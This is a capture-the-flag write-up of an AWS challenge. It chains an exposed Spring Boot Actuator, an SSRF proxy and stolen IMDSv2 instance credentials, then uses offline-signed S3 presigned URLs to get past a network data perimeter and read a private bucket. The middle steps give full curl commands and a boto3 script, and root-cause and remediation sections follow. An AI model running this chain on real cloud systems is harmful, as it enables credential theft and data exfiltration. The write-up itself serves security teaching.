Perimeter Leak CTF: Bypassing an AWS Data Perimeter with Pre-Signed URLs

Challenge: Perimeter Leak (Challenge 01)

Author: Scott Piper

Platform: Wiz Cloud Security Championship

Category: Cloud Security / SSRF

Reading Time: 14 min

Perimeter Leak CTF: Challenge Brief

A Spring Boot Actuator application is exposed on the internet with its management endpoints left open. One of its application routes, /proxy, is a Server-Side Request Forgery (SSRF) primitive. The target S3 bucket is protected by an AWS data perimeter - a bucket policy that only allows requests originating from inside the application's VPC. Stolen credentials used from anywhere else are rejected.

The objective: retrieve the flag from private/flag.txt in a bucket that you can sign for but cannot reach directly.

We were given a web shell and a single working command:

$ curl https://ctf:[REDACTED]@challenge01.cloud-champions.com
{"status":"UP"}

The {"status":"UP"} response is the tell-tale fingerprint of a Spring Boot application with Actuator enabled. Basic-auth credentials are embedded in the URL and reused on every request below.

The Exploit Chain at a Glance

  1. Read the Actuator /actuator/mappings endpoint to discover the app's routes.
  2. Abuse /proxy to reach the EC2 Instance Metadata Service (IMDSv2) and steal the instance role's temporary AWS credentials.
  3. Read /actuator/env to learn the target S3 bucket name.
  4. The bucket policy enforces a network-based data perimeter. Generate an S3 pre-signed URL offline (pure local crypto, no AWS call), then fetch that URL through the /proxy SSRF, so the actual S3 request leaves the instance from inside the perimeter and passes the network condition.

The lesson: a data perimeter restricts where a request comes from, not who holds the credentials. A pre-signed URL detaches the signing step from the sending step, so an SSRF that lives inside the perimeter can be used to send a request that was signed outside it.

Step 1: Enumerate Spring Boot Actuator Endpoints

Spring Boot Actuator exposes /actuator/mappings, which dumps every HTTP route the application serves:

$ curl -s https://ctf:[REDACTED]@challenge01.cloud-champions.com/actuator/mappings

Among the standard Actuator routes, two custom application routes stood out:

{ [/proxy], params [url] }   ->  challenge.Application#proxy(String)
{ [/] }                      ->  challenge.Application#home()

/proxy takes a url query parameter and has no HTTP method restriction ("methods":[]), meaning it answers to any verb - GET, PUT, anything. That detail matters in the next step. The standard /actuator/env endpoint was also exposed.

Step 2: SSRF to IMDSv2 and Stealing Instance Credentials

/proxy?url=... makes the server fetch a URL of our choosing - a classic SSRF. The high-value internal target on EC2 is the Instance Metadata Service at 169.254.169.254.

A first naive attempt confirmed IMDSv2 is in use:

$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/'
HTTP error: 401 Unauthorized

IMDSv2 requires a session token, obtained with a PUT to /latest/api/token plus the X-aws-ec2-metadata-token-ttl-seconds header. Because /proxy accepts any HTTP method and forwards request headers to the upstream target, the token can be minted straight through the proxy:

$ curl -s -X PUT \
  'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'
AQAEABpZ[REDACTED]==

With the token in hand (sent back as the X-aws-ec2-metadata-token header), list the IAM role attached to the instance:

$ TOKEN='AQAEABpZ[REDACTED]=='
$ curl -s \
  'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
  -H "X-aws-ec2-metadata-token: $TOKEN"
challenge01-5592368

Then fetch that role's temporary credentials:

$ curl -s \
  'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368' \
  -H "X-aws-ec2-metadata-token: $TOKEN"

{
  "Code" : "Success",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA[REDACTED]",
  "SecretAccessKey" : "[REDACTED]",
  "Token" : "IQoJb3JpZ2luX2VjEHQ...QQc0=",
  "Expiration" : "2026-05-24T02:15:11Z"
}

We now hold the instance role's AccessKeyId, SecretAccessKey, and session Token. The session token decodes to AWS account [REDACTED], region us-east-1.

Step 3: Discover the Target S3 Bucket via /actuator/env

The target bucket name is in the Spring Boot environment. /actuator/env is exposed, so we read it and filter for anything S3-related:

$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/actuator/env' \
    | tr ',' '\n' | grep -i -E 'bucket|s3|flag|region'

"BUCKET":{"value":"challenge01-470f711"
"origin":"System Environment Property \"BUCKET\""}

Target bucket: challenge01-470f711.

Step 4: The Data Perimeter, and the Pre-Signed URL Bypass

If you simply load the stolen credentials into the AWS CLI on your own machine and run aws s3 ls s3://challenge01-470f711, the request is denied. The bucket policy enforces an AWS data perimeter - a condition such as aws:SourceVpc, aws:SourceVpce, or aws:SourceIp that only permits requests that physically originate from the application's own network. The credentials are valid; the network location of your request is not.

The key insight: creating an S3 pre-signed URL is a purely offline operation. It is just an HMAC-SHA computation over the request parameters using the secret key - no call to AWS is made when the URL is generated. The data-perimeter policy is only evaluated when the signed request is actually sent to S3.

So the plan is to split signing from sending:

  • Sign the request anywhere (here, locally) using the stolen credentials.
  • Send it from inside the perimeter by feeding the pre-signed URL back into the /proxy SSRF. The instance fetches the URL, so the HTTPS request to S3 leaves the EC2 instance - inside the allowed VPC - and the data-perimeter condition passes.

Generating Pre-Signed URLs Locally with boto3

The pre-signed URLs were generated locally with Python + boto3 using the stolen credentials. The session token from Step 2 was saved to token.txt, and this script (presign.py) produced both a bucket-listing URL and an object-GET URL:

import boto3, sys, urllib.parse

AK    = "ASIA[REDACTED]"
SK    = "[REDACTED]"
TOKEN = open("token.txt").read().strip()   # session Token from Step 2
BUCKET = "challenge01-470f711"
REGION = "us-east-1"

session = boto3.session.Session(
    aws_access_key_id=AK,
    aws_secret_access_key=SK,
    aws_session_token=TOKEN,
    region_name=REGION,
)
c = session.client("s3", region_name=REGION)

mode = sys.argv[1] if len(sys.argv) > 1 else "list"
if mode == "list":
    url = c.generate_presigned_url(
        "list_objects_v2", Params={"Bucket": BUCKET}, ExpiresIn=3600)
else:
    url = c.generate_presigned_url(
        "get_object", Params={"Bucket": BUCKET, "Key": sys.argv[2]},
        ExpiresIn=3600)

print(url)
# Wrap it so /proxy fetches it. The inner URL must be fully URL-encoded
# because it contains '&' and '=' that would otherwise break the outer query.
wrapped = ("https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url="
           + urllib.parse.quote(url, safe=""))
print("curl -s '" + wrapped + "'")
$ pip install boto3
$ python3 presign.py list                       # pre-signed ListObjectsV2 URL
$ python3 presign.py get "private/flag.txt"     # pre-signed GetObject URL

Important encoding detail: the pre-signed S3 URL contains its own ?, &, and = characters. When it is placed inside the outer /proxy?url=<...> request it must be fully percent-encoded (urllib.parse.quote(url, safe="")), otherwise the proxy only sees a truncated URL. This is why the final commands contain double-encoded sequences like %252F.

Listing the Bucket Through the Proxy

Fetching the pre-signed ListObjectsV2 URL via /proxy:

$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=<URL-ENCODED pre-signed list URL>'

<ListBucketResult ...>
  <Name>challenge01-470f711</Name>
  <Contents><Key>hello.txt</Key>          <Size>29</Size></Contents>
  <Contents><Key>private/flag.txt</Key>   <Size>51</Size></Contents>
</ListBucketResult>

The listing succeeded - proof the request passed the data perimeter because it came from inside the instance - and revealed the flag object: private/flag.txt.

Step 5: Retrieve the Flag

Generate a pre-signed GetObject URL for private/flag.txt, wrap it for /proxy, and fetch it:

$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=<URL-ENCODED pre-signed get_object URL for private/flag.txt>'

The flag is: WIZ_CTF_[REDACTED]

Perimeter Leak CTF Flag

WIZ_CTF_[REDACTED]

Attack Chain Diagram

Spring Boot Actuator publicly exposed
    |
    v
GET /actuator/mappings discovers application route /proxy?url=
    |
    v
/proxy forwards arbitrary URL, HTTP method, and headers
    |
    v
PUT /latest/api/token through /proxy mints an IMDSv2 token
    |
    v
GET /meta-data/iam/security-credentials/<role> through /proxy
returns AccessKeyId / SecretAccessKey / session Token
    |
    v
GET /actuator/env leaks BUCKET=challenge01-470f711
    |
    v
Direct s3:ListBucket from attacker laptop denied by data perimeter
(network condition on aws:SourceVpc / aws:SourceVpce / aws:SourceIp)
    |
    v
boto3 generate_presigned_url() signs ListObjectsV2 and GetObject
URLs offline using the stolen creds (no AWS API call)
    |
    v
Fetch each pre-signed URL via /proxy. The HTTPS request to S3
leaves the EC2 instance from inside the perimeter - policy passes
    |
    v
GetObject on private/flag.txt returns the flag

Root Cause Analysis: Why the Perimeter Failed

The data perimeter is doing exactly what it was designed to do - permitting requests only when they originate inside the application's VPC. The bypass does not weaken or disable the perimeter; it stays in place the entire time. Instead, the attacker borrows the application's network identity for a single S3 request by routing that request through the application.

Four flaws stack:

  1. Internet-exposed Spring Boot Actuator with sensitive endpoints enabled. /actuator/mappings hands an attacker the application's full route table, and /actuator/env hands them the resource names that the application uses internally. Actuator was intended for internal operations tooling, not for the public internet.
  2. A general-purpose SSRF that forwards arbitrary HTTP methods and headers. Without method or header restrictions on /proxy, the attacker can satisfy IMDSv2's PUT /latest/api/token contract through the proxy, which defeats the only protection IMDSv2 was designed to add over IMDSv1 against header-injection-style SSRF.
  3. IMDS reachable from the application with a credential-bearing role. Any SSRF on an EC2 instance becomes a credential-theft primitive when the application has IMDS network reachability and an instance role with non-trivial permissions. Hop-limit-1 on IMDS plus a least-privilege role narrows this; neither was in place here.
  4. A network-only data perimeter as the sole control on the bucket. A perimeter built solely on aws:SourceVpc, aws:SourceVpce, or aws:SourceIp assumes that no compromised in-perimeter component will ever make an arbitrary request on the attacker's behalf. The pre-signed URL bypass turns the application into exactly that.

Remediation Checklist

Weakness Fix
Actuator endpoints (/mappings, /env) exposed to the internet Bind Actuator to a management port, require auth, or expose only /health. Never expose /env and /mappings publicly.
/proxy is an unrestricted SSRF - it forwards arbitrary URLs, methods, and headers Allow-list destination hosts; block link-local 169.254.169.254; never forward client-controlled methods or headers; restrict to GET.
IMDS reachable from the app and credentials exfiltrable IMDSv2 alone is not enough when the app is a header/method-forwarding proxy. Set the IMDS hop limit to 1 and scope the instance role to least privilege.
Data perimeter assumed credentials can't be used from inside the network by an attacker A network-based data perimeter does not stop an in-network SSRF. Pre-signed URLs let an attacker sign outside and send inside. Combine perimeter controls with least-privilege IAM, identity-based conditions (aws:PrincipalArn), and SSRF prevention - defense in depth.

Lessons Learned

  1. Spring Boot Actuator is a goldmine when exposed. /mappings and /env together give an attacker the application's internal route table and configuration in two HTTP requests. Treat both as crown-jewels-tier sensitive endpoints.
  2. IMDSv2 is not magic. Its session-token contract assumes the attacker cannot freely make PUT requests with custom headers to the metadata IP. A method- and header-forwarding SSRF breaks that assumption directly. Combine IMDSv2 with hop-limit-1 so the metadata service is not reachable from containers and sidecars in the first place.
  3. Signing and sending are different operations. Pre-signed URLs are computed offline from the credential material; no API call is made until someone fetches the URL. Any control that runs at request time - network-based perimeters, request-level WAF rules, request-rate quotas - can be sidestepped by signing outside and sending from inside.
  4. Defense in depth, or none. A data perimeter is a strong, expensive control. It is also exactly one layer. Pair it with least-privilege roles, IMDS hop-limit-1, identity-based conditions on the bucket, and SSRF-hardened application code so that no single broken assumption hands over the bucket.

Perimeter Leak CTF: Final Thoughts

This challenge is a clean illustration of a defense-in-depth gap. The data perimeter is a strong control on its own and is doing precisely what was advertised, but the application sitting inside the perimeter has a request-forwarding bug, and that single bug turns the perimeter from a control into a courier. The S3 request that retrieves the flag is a legitimate, well-formed, perimeter-compliant request - it just happens to be carrying data the attacker chose.

The takeaway from the challenge author: AWS data perimeters constrain the origin of a request, not possession of credentials. Pre-signed URLs - a common, legitimate feature in larger applications - decouple signing from sending, so any request-forwarding bug that sits inside the perimeter can be turned into a perimeter bypass.

Challenge created by Scott Piper as part of the Wiz Cloud Security Championship. Writeup completed: May 2026.